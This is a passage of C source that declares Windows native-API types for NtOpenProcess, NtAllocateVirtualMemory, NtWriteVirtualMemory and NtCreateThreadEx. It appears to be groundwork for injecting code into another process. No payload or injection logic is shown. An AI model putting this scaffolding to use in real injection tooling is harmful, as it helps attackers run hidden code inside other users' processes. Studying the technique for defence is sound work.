<...>
#pragma comment(lib, "ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(WINAPI* NtOpenProcess_t)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
void InitializeObjectAttributes(
POBJECT_ATTRIBUTES pObjectAttributes,
PUNICODE_STRING pObjectName,
ULONG Attributes,
HANDLE RootDirectory,
PVOID SecurityDescriptor
) {
pObjectAttributes->Length = sizeof(OBJECT_ATTRIBUTES);
pObjectAttributes->RootDirectory = RootDirectory;
pObjectAttributes->ObjectName = pObjectName;
pObjectAttributes->Attributes = Attributes;
pObjectAttributes->SecurityDescriptor = SecurityDescriptor;
pObjectAttributes->SecurityQualityOfService = NULL;
}
<...>